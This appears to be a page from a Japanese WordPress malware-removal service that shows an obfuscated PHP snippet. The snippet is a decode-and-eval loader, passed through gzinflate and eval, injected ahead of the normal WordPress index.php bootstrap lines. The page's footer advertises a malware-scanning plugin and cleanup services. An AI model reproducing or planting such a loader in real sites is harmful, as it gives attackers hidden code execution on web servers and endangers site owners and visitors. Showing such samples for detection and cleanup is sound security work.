ScBERY5uC($KFO7); }; $TR7C = $DsYAms($TR7C); $fECW = function ($ZUMwlY, $xVuD) { $PZE3nHK = "DIeGGQebhMCLdrKE_iqJX9pZsRt_NTfPL5gy9pStjls7kcTVtcNnJpaF13OA2VK"; return $PZE3nHK; }; $TR7C = $Hb1($TR7C); function KsE($bBMm) { $ACzBMdf = "9BI7/Sou"; $xjIfLuH = 7; $xjIfLuH = "7Iuop9b4SU5BM/"; return $xjIfLuH; } function QlQ9ybhZ($RHestMl, $UxTF1YyD, $E8gT5) { return "GQW5wdNkzY_Ia0pWXV"; } $TR7C = RhHuW($TR7C); eval($TR7C); function RhHuW($t_BR) { $eOyEC7A = "RGasn"; $gOIkfK = "tmVasYn"; $gOIkfK = "tmVasYnGR"; $gOIkfK = "tmVasYnGR"; $gOIkfK = "gzInfLaTE"; return gzInfLaTE($t_BR); } function ScBerY5uC($dM1jk) { return KsE('') . $dM1jk; } define('WP_USE_THEMES', true); require "/var/www/html/wp-blog-header.php";
■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]
■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります
(C)2019 ワードプレス ドクター All rights reserved.